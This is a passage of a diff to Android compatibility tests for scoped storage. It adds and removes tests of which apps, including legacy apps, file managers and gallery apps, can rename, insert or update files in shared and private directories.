-            runDeviceTest("testManageExternalStorageReaddir");
-        } finally {
-            denyAppOps("android:manage_external_storage");
-        }
-    }
-
-    @Test
     public void testManageExternalStorageCanRenameOtherAppsContents() throws Exception {
         allowAppOps("android:manage_external_storage");
         try {
@@ -303,6 +105,16 @@
     }
 
     @Test
+    public void testManageExternalStorageCannotRenameAndroid() throws Exception {
+        allowAppOps("android:manage_external_storage");
+        try {
+            runDeviceTest("testManageExternalStorageCannotRenameAndroid");
+        } finally {
+            denyAppOps("android:manage_external_storage");
+        }
+    }
+
+    @Test
     public void testManageExternalStorageCantReadWriteOtherAppExternalDir() throws Exception {
         allowAppOps("android:manage_external_storage");
         try {
@@ -313,53 +125,15 @@
     }
 
     @Test
-    public void testCantAccessOtherAppsContents() throws Exception {
-        runDeviceTest("testCantAccessOtherAppsContents");
-    }
-
-    @Test
-    public void testCanCreateHiddenFile() throws Exception {
-        runDeviceTest("testCanCreateHiddenFile");
-    }
-
-    @Test
-    public void testCanRenameHiddenFile() throws Exception {
-        runDeviceTest("testCanRenameHiddenFile");
-    }
-
-    @Test
-    public void testHiddenDirectory() throws Exception {
-        runDeviceTest("testHiddenDirectory");
-    }
-
-    @Test
-    public void testHiddenDirectory_nomedia() throws Exception {
-        runDeviceTest("testHiddenDirectory_nomedia");
-    }
-
-    @Test
-    public void testListHiddenFile() throws Exception {
-        runDeviceTest("testListHiddenFile");
-    }
-
-    @Test
-    public void testOpenPendingAndTrashed() throws Exception {
-        runDeviceTest("testOpenPendingAndTrashed");
-    }
-
-    @Test
-    public void testDeletePendingAndTrashed() throws Exception {
-        runDeviceTest("testDeletePendingAndTrashed");
-    }
-
-    @Test
-    public void testListPendingAndTrashed() throws Exception {
-        runDeviceTest("testListPendingAndTrashed");
-    }
-
-    @Test
-    public void testCanCreateDefaultDirectory() throws Exception {
-        runDeviceTest("testCanCreateDefaultDirectory");
+    public void testCheckInstallerAppAccessToObbDirs() throws Exception {
+        allowAppOps("android:request_install_packages");
+        grantPermissions("android.permission.WRITE_EXTERNAL_STORAGE");
+        try {
+            runDeviceTest("testCheckInstallerAppAccessToObbDirs");
+        } finally {
+            denyAppOps("android:request_install_packages");
+            revokePermissions("android.permission.WRITE_EXTERNAL_STORAGE");
+        }
     }
 
     @Test
@@ -373,38 +147,23 @@
     }
 
     @Test
-    public void testSystemGalleryQueryOtherAppsFiles() throws Exception {
-        runDeviceTest("testSystemGalleryQueryOtherAppsFiles");
+    public void testManageExternalStorageDoesntSkipScanningDirtyNomediaDir() throws Exception {
+        allowAppOps("android:manage_external_storage");
+        try {
+            runDeviceTest("testManageExternalStorageDoesntSkipScanningDirtyNomediaDir");
+        } finally {
+            denyAppOps("android:manage_external_storage");
+        }
     }
 
     @Test
-    public void testQueryOtherAppsFiles() throws Exception {
-        runDeviceTest("testQueryOtherAppsFiles");
-    }
-
-    @Test
-    public void testSystemGalleryCanRenameImageAndVideoDirs() throws Exception {
-        runDeviceTest("testSystemGalleryCanRenameImageAndVideoDirs");
-    }
-
-    @Test
-    public void testCreateCanRestoreDeletedRowId() throws Exception {
-        runDeviceTest("testCreateCanRestoreDeletedRowId");
-    }
-
-    @Test
-    public void testRenameCanRestoreDeletedRowId() throws Exception {
-        runDeviceTest("testRenameCanRestoreDeletedRowId");
-    }
-
-    @Test
-    public void testCantCreateOrRenameFileWithInvalidName() throws Exception {
-        runDeviceTest("testCantCreateOrRenameFileWithInvalidName");
-    }
-
-    @Test
-    public void testPendingFromFuse() throws Exception {
-        runDeviceTest("testPendingFromFuse");
+    public void testScanDoesntSkipDirtySubtree() throws Exception {
+        allowAppOps("android:manage_external_storage");
+        try {
+            runDeviceTest("testScanDoesntSkipDirtySubtree");
+        } finally {
+            denyAppOps("android:manage_external_storage");
+        }
     }
 
     @Test
@@ -418,33 +177,6 @@
     }
 
     @Test
-    public void testCantSetAttrOtherAppsFile() throws Exception {
-        runDeviceTest("testCantSetAttrOtherAppsFile");
-    }
-
-    @Test
-    public void testAccess_file() throws Exception {
-        grantPermissions("android.permission.READ_EXTERNAL_STORAGE");
-        try {
-            runDeviceTest("testAccess_file");
-        } finally {
-            revokePermissions("android.permission.READ_EXTERNAL_STORAGE");
-        }
-    }
-
-    @Test
-    public void testAccess_directory() throws Exception {
-        grantPermissions("android.permission.READ_EXTERNAL_STORAGE",
-                "android.permission.WRITE_EXTERNAL_STORAGE");
-        try {
-            runDeviceTest("testAccess_directory");
-        } finally {
-            revokePermissions("android.permission.READ_EXTERNAL_STORAGE",
-                    "android.permission.WRITE_EXTERNAL_STORAGE");
-        }
-    }
-
-    @Test
     public void testAndroidMedia() throws Exception {
         grantPermissions("android.permission.READ_EXTERNAL_STORAGE");
         try {
@@ -455,12 +187,11 @@
     }
 
     @Test
-    public void testWallpaperApisNoPermission() throws Exception {
-        runDeviceTest("testWallpaperApisNoPermission");
-    }
-
-    @Test
     public void testWallpaperApisReadExternalStorage() throws Exception {
+        // First run without any permission
+        runDeviceTest("testWallpaperApisNoPermission");
+
+        // Then with RES.
         grantPermissions("android.permission.READ_EXTERNAL_STORAGE");
         try {
             runDeviceTest("testWallpaperApisReadExternalStorage");
@@ -486,16 +217,18 @@
 
     @Test
     public void testNoIsolatedStorageInstrumentationFlag() throws Exception {
-        runDeviceTestWithDisabledIsolatedStorage("testNoIsolatedStorageCanCreateFilesAnywhere");
-        runDeviceTestWithDisabledIsolatedStorage(
-                "testNoIsolatedStorageCantReadWriteOtherAppExternalDir");
-        runDeviceTestWithDisabledIsolatedStorage("testNoIsolatedStorageStorageReaddir");
-        runDeviceTestWithDisabledIsolatedStorage("testNoIsolatedStorageQueryOtherAppsFile");
-
-        // Check that appop is revoked after instrumentation is over.
-        runDeviceTest("testCreateFileInAppExternalDir");
-        runDeviceTest("testCreateFileInOtherAppExternalDir");
-        runDeviceTest("testReadWriteFilesInOtherAppExternalDir");
+        grantPermissions("android.permission.READ_EXTERNAL_STORAGE",
+                "android.permission.WRITE_EXTERNAL_STORAGE");
+        try {
+            runDeviceTestWithDisabledIsolatedStorage("testNoIsolatedStorageCanCreateFilesAnywhere");
+            runDeviceTestWithDisabledIsolatedStorage(
+                    "testNoIsolatedStorageCantReadWriteOtherAppExternalDir");
+            runDeviceTestWithDisabledIsolatedStorage("testNoIsolatedStorageStorageReaddir");
+            runDeviceTestWithDisabledIsolatedStorage("testNoIsolatedStorageQueryOtherAppsFile");
+        } finally {
+            revokePermissions("android.permission.READ_EXTERNAL_STORAGE",
+                    "android.permission.WRITE_EXTERNAL_STORAGE");
+        }
     }
 
     @Test
@@ -514,6 +247,65 @@
         }
     }
 
+    @Test
+    public void testClearPackageData() throws Exception {
+        grantPermissions("android.permission.READ_EXTERNAL_STORAGE");
+        try {
+            runDeviceTest("testClearPackageData");
+        } finally {
+            revokePermissions("android.permission.READ_EXTERNAL_STORAGE");
+        }
+    }
+
+    @Test
+    public void testInsertExternalFilesViaDataAsFileManager() throws Exception {
+        allowAppOps("android:manage_external_storage");
+        try {
+            runDeviceTest("testInsertExternalFilesViaData");
+        } finally {
+            denyAppOps("android:manage_external_storage");
+        }
+    }
+
+    /**
+     * Test that File Manager can't update file path to private directories.
+     */
+    @Test
+    public void testUpdateExternalFilesViaDataAsFileManager() throws Exception {
+        allowAppOps("android:manage_external_storage");
+        try {
+            runDeviceTest("testUpdateExternalFilesViaData");
+        } finally {
+            denyAppOps("android:manage_external_storage");
+        }
+    }
+
+    /**
+     * Test that File Manager can't insert files from private directories.
+     */
+    @Test
+    public void testInsertExternalFilesViaRelativePathAsFileManager() throws Exception {
+        allowAppOps("android:manage_external_storage");
+        try {
+            runDeviceTest("testInsertExternalFilesViaRelativePath");
+        } finally {
+            denyAppOps("android:manage_external_storage");
+        }
+    }
+
+    /**
+     * Test that File Manager can't update file path to private directories.
+     */
+    @Test
+    public void testUpdateExternalFilesViaRelativePathAsFileManager() throws Exception {
+        allowAppOps("android:manage_external_storage");
+        try {
+            runDeviceTest("testUpdateExternalFilesViaRelativePath");
+        } finally {
+            denyAppOps("android:manage_external_storage");
+        }
+    }
+
     private void grantPermissions(String... perms) throws Exception {
         int currentUserId = getCurrentUserId();
         for (String perm : perms) {
diff --git a/hostsidetests/scopedstorage/legacy/AndroidManifest.xml b/hostsidetests/scopedstorage/legacy/AndroidManifest.xml
index 07fbfe8..58259b2 100644
--- a/hostsidetests/scopedstorage/legacy/AndroidManifest.xml
+++ b/hostsidetests/scopedstorage/legacy/AndroidManifest.xml
@@ -20,8 +20,6 @@
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
     <application  android:requestLegacyExternalStorage="true" >
-        <receiver android:name="com.android.cts.install.lib.LocalIntentSender"
-                  android:exported="true" />
         <uses-library android:name="android.test.runner" />
     </application>
 
diff --git a/hostsidetests/scopedstorage/legacy/preserveLegacy.xml b/hostsidetests/scopedstorage/legacy/preserveLegacy.xml
new file mode 100644
index 0000000..c933b3c
--- /dev/null
+++ b/hostsidetests/scopedstorage/legacy/preserveLegacy.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.scopedstorage.cts.legacy" >
+
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+    <application  android:requestLegacyExternalStorage="true" android:preserveLegacyExternalStorage="true"/>
+
+</manifest>
diff --git a/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java b/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
index 071469a..6be57aa 100644
--- a/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
+++ b/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
@@ -20,29 +20,43 @@
 import static android.scopedstorage.cts.lib.TestUtils.BYTES_DATA2;
 import static android.scopedstorage.cts.lib.TestUtils.STR_DATA1;
 import static android.scopedstorage.cts.lib.TestUtils.STR_DATA2;
+import static android.scopedstorage.cts.lib.TestUtils.allowAppOpsToUid;
 import static android.scopedstorage.cts.lib.TestUtils.assertCanRenameDirectory;
 import static android.scopedstorage.cts.lib.TestUtils.assertCanRenameFile;
 import static android.scopedstorage.cts.lib.TestUtils.assertCantRenameFile;
 import static android.scopedstorage.cts.lib.TestUtils.assertDirectoryContains;
 import static android.scopedstorage.cts.lib.TestUtils.assertFileContent;
+import static android.scopedstorage.cts.lib.TestUtils.canOpenFileAs;
+import static android.scopedstorage.cts.lib.TestUtils.checkPermission;
 import static android.scopedstorage.cts.lib.TestUtils.createFileAs;
 import static android.scopedstorage.cts.lib.TestUtils.createImageEntryAs;
 import static android.scopedstorage.cts.lib.TestUtils.deleteFileAsNoThrow;
 import static android.scopedstorage.cts.lib.TestUtils.deleteWithMediaProviderNoThrow;
+import static android.scopedstorage.cts.lib.TestUtils.denyAppOpsToUid;
 import static android.scopedstorage.cts.lib.TestUtils.executeShellCommand;
+import static android.scopedstorage.cts.lib.TestUtils.getAndroidMediaDir;
 import static android.scopedstorage.cts.lib.TestUtils.getContentResolver;
+import static android.scopedstorage.cts.lib.TestUtils.getDcimDir;
+import static android.scopedstorage.cts.lib.TestUtils.getExternalFilesDir;
 import static android.scopedstorage.cts.lib.TestUtils.getFileOwnerPackageFromDatabase;
 import static android.scopedstorage.cts.lib.TestUtils.getFileRowIdFromDatabase;
 import static android.scopedstorage.cts.lib.TestUtils.getImageContentUri;
-import static android.scopedstorage.cts.lib.TestUtils.installApp;
+import static android.scopedstorage.cts.lib.TestUtils.getPicturesDir;
+import static android.scopedstorage.cts.lib.TestUtils.insertFile;
+import static android.scopedstorage.cts.lib.TestUtils.insertFileFromExternalMedia;
 import static android.scopedstorage.cts.lib.TestUtils.listAs;
-import static android.scopedstorage.cts.lib.TestUtils.openFileAs;
-import static android.scopedstorage.cts.lib.TestUtils.openWithMediaProvider;
 import static android.scopedstorage.cts.lib.TestUtils.pollForExternalStorageState;
 import static android.scopedstorage.cts.lib.TestUtils.pollForPermission;
+import static android.scopedstorage.cts.lib.TestUtils.resetDefaultExternalStorageVolume;
 import static android.scopedstorage.cts.lib.TestUtils.setupDefaultDirectories;
-import static android.scopedstorage.cts.lib.TestUtils.uninstallApp;
-import static android.scopedstorage.cts.lib.TestUtils.uninstallAppNoThrow;
+import static android.scopedstorage.cts.lib.TestUtils.updateFile;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalMediaDirViaData_allowed;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalMediaDirViaRelativePath_allowed;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalPrivateDirViaRelativePath_denied;
+import static android.scopedstorage.cts.lib.TestUtils.verifyUpdateToExternalMediaDirViaRelativePath_allowed;
+import static android.scopedstorage.cts.lib.TestUtils.verifyUpdateToExternalPrivateDirsViaRelativePath_denied;
+
+import static androidx.test.InstrumentationRegistry.getContext;
 
 import static com.google.common.truth.Truth.assertThat;
 
@@ -53,13 +67,15 @@
 import static org.junit.Assert.fail;
 
 import android.Manifest;
+import android.app.AppOpsManager;
 import android.content.ContentResolver;
 import android.content.ContentValues;
 import android.database.Cursor;
 import android.net.Uri;
 import android.os.Bundle;
 import android.os.Environment;
-import android.os.ParcelFileDescriptor;
+import android.os.FileUtils;
+import android.os.Process;
 import android.provider.MediaStore;
 import android.scopedstorage.cts.lib.TestUtils;
 import android.system.ErrnoException;
@@ -84,6 +100,7 @@
 import java.io.FileDescriptor;
 import java.io.FileOutputStream;
 import java.io.IOException;
+import java.io.InputStream;
 import java.io.OutputStream;
 import java.util.ArrayList;
 import java.util.Arrays;
@@ -115,8 +132,19 @@
     static final String VIDEO_FILE_NAME = "LegacyStorageTest_file_" + NONCE + ".mp4";
     static final String NONMEDIA_FILE_NAME = "LegacyStorageTest_file_" + NONCE + ".pdf";
 
-    private static final TestApp TEST_APP_A = new TestApp("TestAppA",
-            "android.scopedstorage.cts.testapp.A", 1, false, "CtsScopedStorageTestAppA.apk");
+    // The following apps are installed before the tests are run via a target_preparer.
+    // See test config for details.
+    // An app with READ_EXTERNAL_STORAGE permission
+    private static final TestApp APP_A_HAS_RES = new TestApp("TestAppA",
+            "android.scopedstorage.cts.testapp.A.withres", 1, false,
+            "CtsScopedStorageTestAppA.apk");
+    // An app with no permissions
+    private static final TestApp APP_B_NO_PERMS = new TestApp("TestAppB",
+            "android.scopedstorage.cts.testapp.B.noperms", 1, false,
+            "CtsScopedStorageTestAppB.apk");
+
+    private static final String[] SYSTEM_GALERY_APPOPS = {
+            AppOpsManager.OPSTR_WRITE_MEDIA_IMAGES, AppOpsManager.OPSTR_WRITE_MEDIA_VIDEO};
 
     /**
      * This method needs to be called once before running the whole test.
@@ -129,12 +157,21 @@
     @Before
     public void setup() throws Exception {
         pollForExternalStorageState();
+
+        assertThat(checkPermission(APP_A_HAS_RES,
+                Manifest.permission.READ_EXTERNAL_STORAGE)).isTrue();
+        assertThat(checkPermission(APP_B_NO_PERMS,
+                Manifest.permission.READ_EXTERNAL_STORAGE)).isFalse();
     }
 
     @After
     public void teardown() throws Exception {
         deleteFileInExternalDir(getShellFile());
-        MediaStore.scanFile(getContentResolver(), getShellFile());
+        try {
+            MediaStore.scanFile(getContentResolver(), getShellFile());
+        } catch (Exception ignored) {
+            //ignore MediaScanner exceptions
+        }
     }
 
     /**
@@ -484,8 +521,7 @@
             // Deleting the file will remove videoFile entry from database.
             assertThat(getFileRowIdFromDatabase(videoFile)).isEqualTo(-1);
 
-            installApp(TEST_APP_A, false);
-            assertThat(createFileAs(TEST_APP_A, otherAppPdfFile.getAbsolutePath())).isTrue();
+            assertThat(createFileAs(APP_B_NO_PERMS, otherAppPdfFile.getAbsolutePath())).isTrue();
             assertThat(getFileRowIdFromDatabase(otherAppPdfFile)).isNotEqualTo(-1);
             // Legacy app with write permission can delete the pdfFile owned by TestApp.
             assertThat(otherAppPdfFile.delete()).isTrue();
@@ -494,8 +530,7 @@
             // on a public volume, which is different from the behaviour on a primary external.
 //            assertThat(getFileRowIdFromDatabase(otherAppPdfFile)).isEqualTo(-1);
         } finally {
-            deleteFileAsNoThrow(TEST_APP_A, otherAppPdfFile.getAbsolutePath());
-            uninstallApp(TEST_APP_A);
+            deleteFileAsNoThrow(APP_B_NO_PERMS, otherAppPdfFile.getAbsolutePath());
             videoFile.delete();
         }
     }
@@ -513,9 +548,8 @@
         try {
             assertThat(videoFile.createNewFile()).isTrue();
 
-            installApp(TEST_APP_A, true);
             // videoFile is inserted to database, non-legacy app can see this videoFile on 'ls'.
-            assertThat(listAs(TEST_APP_A, TestUtils.getExternalStorageDir().getAbsolutePath()))
+            assertThat(listAs(APP_A_HAS_RES, TestUtils.getExternalStorageDir().getAbsolutePath()))
                     .contains(VIDEO_FILE_NAME);
 
             // videoFile is in database, row ID for videoFile can not be -1.
@@ -527,7 +561,6 @@
             assertEquals(-1, getFileRowIdFromDatabase(videoFile));
         } finally {
             videoFile.delete();
-            uninstallApp(TEST_APP_A);
         }
     }
 
@@ -696,20 +729,18 @@
         pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /*granted*/ true);
 
         final File fullPath = new File(TestUtils.getDcimDir(),
-                "OwnershipChange_" + IMAGE_FILE_NAME);
-        final String relativePath = "DCIM/OwnershipChange_" + IMAGE_FILE_NAME;
+                "OwnershipChange" + IMAGE_FILE_NAME);
+        final String relativePath = "DCIM/OwnershipChange" + IMAGE_FILE_NAME;
         try {
-            installApp(TEST_APP_A, false);
-            createImageEntryAs(TEST_APP_A, relativePath);
+            createImageEntryAs(APP_B_NO_PERMS, relativePath);
             assertThat(fullPath.createNewFile()).isTrue();
 
-            // We have transferred ownership away from TEST_APP_A so reads / writes
+            // We have transferred ownership away from APP_B_NO_PERMS so reads / writes
             // should no longer work.
-            assertThat(openFileAs(TEST_APP_A, fullPath, false /* for write */)).isFalse();
-            assertThat(openFileAs(TEST_APP_A, fullPath, false /* for read */)).isFalse();
+            assertThat(canOpenFileAs(APP_B_NO_PERMS, fullPath, false /* forWrite */)).isFalse();
+            assertThat(canOpenFileAs(APP_B_NO_PERMS, fullPath, true /* forWrite */)).isFalse();
         } finally {
-            deleteFileAsNoThrow(TEST_APP_A, fullPath.getAbsolutePath());
-            uninstallAppNoThrow(TEST_APP_A);
+            deleteFileAsNoThrow(APP_B_NO_PERMS, fullPath.getAbsolutePath());
             fullPath.delete();
         }
     }
@@ -765,6 +796,183 @@
         }
     }
 
+    @Test
+    public void testLegacySystemGalleryCanRenameImagesAndVideosWithoutDbUpdates() throws Exception {
+        pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /*granted*/ true);
+
+        final File otherAppVideoFile = new File(getDcimDir(), "other_" + VIDEO_FILE_NAME);
+        final File videoFile = new File(getPicturesDir(), VIDEO_FILE_NAME);
+
+        try {
+            allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+
+            // Create and write some data to the file
+            assertThat(createFileAs(APP_B_NO_PERMS, otherAppVideoFile.getPath())).isTrue();
+            try (FileOutputStream fos = new FileOutputStream(otherAppVideoFile)) {
+                fos.write(BYTES_DATA1);
+            }
+
+            // Assert legacy system gallery can rename the file.
+            assertCanRenameFile(otherAppVideoFile, videoFile, false /* checkDatabase */);
+            assertFileContent(videoFile, BYTES_DATA1);
+            // Database was not updated.
+            assertThat(getFileRowIdFromDatabase(otherAppVideoFile)).isNotEqualTo(-1);
+            assertThat(getFileRowIdFromDatabase(videoFile)).isEqualTo(-1);
+        } finally {
+            otherAppVideoFile.delete();
+            videoFile.delete();
+            denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+        }
+    }
+
+    @Test
+    public void testLegacySystemGalleryWithoutWESCannotRename() throws Exception {
+        pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /*granted*/ false);
+
+        final File otherAppVideoFile = new File(getDcimDir(), "other_" + VIDEO_FILE_NAME);
+        final File videoFile = new File(getPicturesDir(), VIDEO_FILE_NAME);
+
+        try {
+            allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+
+            // Create file of other app.
+            assertThat(createFileAs(APP_B_NO_PERMS, otherAppVideoFile.getPath())).isTrue();
+
+            // Check we cannot rename it.
+            assertThat(otherAppVideoFile.renameTo(videoFile)).isFalse();
+        } finally {
+            otherAppVideoFile.delete();
+            videoFile.delete();
+            denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+        }
+    }
+
+    @Test
+    public void testLegacyWESCanRenameImagesAndVideosWithDbUpdates_hasW() throws Exception {
+        pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /*granted*/ true);
+
+        final File otherAppVideoFile = new File(getDcimDir(), "other_" + VIDEO_FILE_NAME);
+        final File videoFile = new File(getPicturesDir(), VIDEO_FILE_NAME);
+
+        try {
+            // Create and write some data to the file
+            assertThat(createFileAs(APP_B_NO_PERMS, otherAppVideoFile.getPath())).isTrue();
+            try (FileOutputStream fos = new FileOutputStream(otherAppVideoFile)) {
+                fos.write(BYTES_DATA1);
+            }
+
+            // Assert legacy WES can rename the file (including database updated).
+            assertCanRenameFile(otherAppVideoFile, videoFile);
+            assertFileContent(videoFile, BYTES_DATA1);
+        } finally {
+            otherAppVideoFile.delete();
+            videoFile.delete();
+        }
+    }
+
+    @Test
+    public void testScanUpdatesMetadataForNewlyAddedFile_hasRW() throws Exception {
+        pollForPermission(Manifest.permission.READ_EXTERNAL_STORAGE, /*granted*/ true);
+        pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /*granted*/ true);
+
+        final File jpgFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
+        try {
+            // Copy the image content to jpgFile
+            try (InputStream in =
+                         getContext().getResources().openRawResource(R.raw.img_with_metadata);
+                 FileOutputStream out = new FileOutputStream(jpgFile)) {
+                FileUtils.copy(in, out);
+                out.getFD().sync();
+            }
+            // Insert a new row for jpgFile.
+            ContentValues values = new ContentValues();
+            values.put(MediaStore.MediaColumns.DATA, jpgFile.getAbsolutePath());
+            final Uri targetUri =
+                    getContentResolver().insert(getImageContentUri(), values, Bundle.EMPTY);
+            assertNotNull(targetUri);
+
+            try (Cursor c = TestUtils.queryFile(jpgFile, MediaStore.MediaColumns.DATE_TAKEN)) {
+                // Since the file is not yet scanned, no metadata is available
+                assertThat(c.moveToFirst()).isTrue();
+                assertThat(c.getString(0)).isNull();
+            }
+
+            // Scan the file to update the metadata. This scan shouldn't no-op
+            final Uri scanUri = MediaStore.scanFile(getContentResolver(), jpgFile);
+            assertNotNull(scanUri);
+
+            // ScanFile was able to update the metadata hence we should see DATE_TAKEN value.
+            try (Cursor c = TestUtils.queryFile(jpgFile, MediaStore.MediaColumns.DATE_TAKEN)) {
+                assertThat(c.moveToFirst()).isTrue();
+                assertThat(c.getString(0)).isNotNull();
+            }
+        } finally {
+            jpgFile.delete();
+        }
+    }
+
+    /**
+     * Make sure inserting files from app private directories in legacy apps is allowed via DATA.
+     */
+    @Test
+    public void testInsertFromExternalDirsViaData() throws Exception {
+        verifyInsertFromExternalMediaDirViaData_allowed();
+
+        ContentValues values = new ContentValues();
+        final String androidObbDir =
+                getContext().getObbDir().toString() + "/" + System.currentTimeMillis();
+        values.put(MediaStore.MediaColumns.DATA, androidObbDir);
+        insertFile(values);
+
+        final String androidDataDir = getExternalFilesDir().toString();
+        values.put(MediaStore.MediaColumns.DATA, androidDataDir);
+        insertFile(values);
+    }
+
+    /**
+     * Make sure inserting files from app private directories in legacy apps is not allowed via
+     * RELATIVE_PATH.
+     */
+    @Test
+    public void testInsertFromExternalDirsViaRelativePath() throws Exception {
+        verifyInsertFromExternalMediaDirViaRelativePath_allowed();
+        verifyInsertFromExternalPrivateDirViaRelativePath_denied();
+    }
+
+    /**
+     * Make sure updating files to app private directories in legacy apps is allowed via DATA.
+     */
+    @Test
+    public void testUpdateToExternalDirsViaData() throws Exception {
+        resetDefaultExternalStorageVolume();
+        Uri uri = insertFileFromExternalMedia(false);
+
+        final String androidMediaDirFile =
+                getAndroidMediaDir().toString() + "/" + System.currentTimeMillis();
+        ContentValues values = new ContentValues();
+        values.put(MediaStore.MediaColumns.DATA, androidMediaDirFile);
+        assertNotEquals(0, updateFile(uri, values));
+
+        final String androidObbDir =
+                getContext().getObbDir().toString() + "/" + System.currentTimeMillis();
+        values.put(MediaStore.MediaColumns.DATA, androidObbDir);
+        assertNotEquals(0, updateFile(uri, values));
+
+        final String androidDataDir = getExternalFilesDir().toString();
+        values.put(MediaStore.MediaColumns.DATA, androidDataDir);
+        assertNotEquals(0, updateFile(uri, values));
+    }
+
+    /**
+     * Make sure updating files to app private directories in legacy apps is not allowed via
+     * RELATIVE_PATH.
+     */
+    @Test
+    public void testUpdateToExternalDirsViaRelativePath() throws Exception {
+        verifyUpdateToExternalMediaDirViaRelativePath_allowed();
+        verifyUpdateToExternalPrivateDirsViaRelativePath_denied();
+    }
+
     private static void assertCanCreateFile(File file) throws IOException {
         if (file.exists()) {
             file.delete();
@@ -824,12 +1032,12 @@
     }
 
     private void createFileInExternalDir(File file) throws Exception {
-        Log.d(TAG, "Creating file " + file + " in the external Directory");
+        Log.d(TAG, "Creating file " + file);
         getContentResolver().openFile(Uri.parse(CONTENT_PROVIDER_URL + file.getPath()), "w", null);
     }
 
     private void deleteFileInExternalDir(File file) throws Exception {
-        Log.d(TAG, "Deleting file " + file + " from the external Directory");
+        Log.d(TAG, "Deleting file " + file);
         getContentResolver().delete(Uri.parse(CONTENT_PROVIDER_URL + file.getPath()), null, null);
     }
 }
diff --git a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/Android.bp b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/Android.bp
index b614ebb..5e59439 100644
--- a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/Android.bp
+++ b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/Android.bp
@@ -12,13 +12,14 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library {
     name: "cts-scopedstorage-lib",
     srcs: ["src/**/*.java"],
-    static_libs: ["androidx.test.rules", "cts-install-lib", "platform-test-annotations",],
+    static_libs: [
+                 "androidx.test.rules",
+                  "cts-install-lib",
+                  "platform-test-annotations",
+                  "androidx.legacy_legacy-support-v4"
+    ],
     sdk_version: "test_current"
 }
diff --git a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
index 2ff6280..ef8fc14 100644
--- a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
+++ b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
@@ -21,7 +21,12 @@
 import static androidx.test.InstrumentationRegistry.getContext;
 
 import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
 
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.TestCase.assertNotNull;
+
+import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.fail;
 
 import android.Manifest;
@@ -41,7 +46,6 @@
 import android.os.Bundle;
 import android.os.Environment;
 import android.os.ParcelFileDescriptor;
-import android.os.SystemClock;
 import android.provider.MediaStore;
 import android.system.ErrnoException;
 import android.system.Os;
@@ -63,7 +67,6 @@
 import java.io.File;
 import java.io.FileDescriptor;
 import java.io.FileInputStream;
-import java.io.FileOutputStream;
 import java.io.IOException;
 import java.io.InputStream;
 import java.io.InterruptedIOException;
@@ -72,6 +75,7 @@
 import java.util.HashMap;
 import java.util.List;
 import java.util.Locale;
+import java.util.Optional;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.TimeoutException;
@@ -85,11 +89,16 @@
 
     public static final String QUERY_TYPE = "android.scopedstorage.cts.queryType";
     public static final String INTENT_EXTRA_PATH = "android.scopedstorage.cts.path";
+    public static final String INTENT_EXTRA_CALLING_PKG = "android.scopedstorage.cts.calling_pkg";
     public static final String INTENT_EXCEPTION = "android.scopedstorage.cts.exception";
     public static final String CREATE_FILE_QUERY = "android.scopedstorage.cts.createfile";
     public static final String CREATE_IMAGE_ENTRY_QUERY =
             "android.scopedstorage.cts.createimageentry";
     public static final String DELETE_FILE_QUERY = "android.scopedstorage.cts.deletefile";
+    public static final String CAN_OPEN_FILE_FOR_READ_QUERY =
+            "android.scopedstorage.cts.can_openfile_read";
+    public static final String CAN_OPEN_FILE_FOR_WRITE_QUERY =
+            "android.scopedstorage.cts.can_openfile_write";
     public static final String OPEN_FILE_FOR_READ_QUERY =
             "android.scopedstorage.cts.openfile_read";
     public static final String OPEN_FILE_FOR_WRITE_QUERY =
@@ -121,7 +130,10 @@
      */
     public static void setupDefaultDirectories() {
         for (File dir : getDefaultTopLevelDirs()) {
-            dir.mkdir();
+            dir.mkdirs();
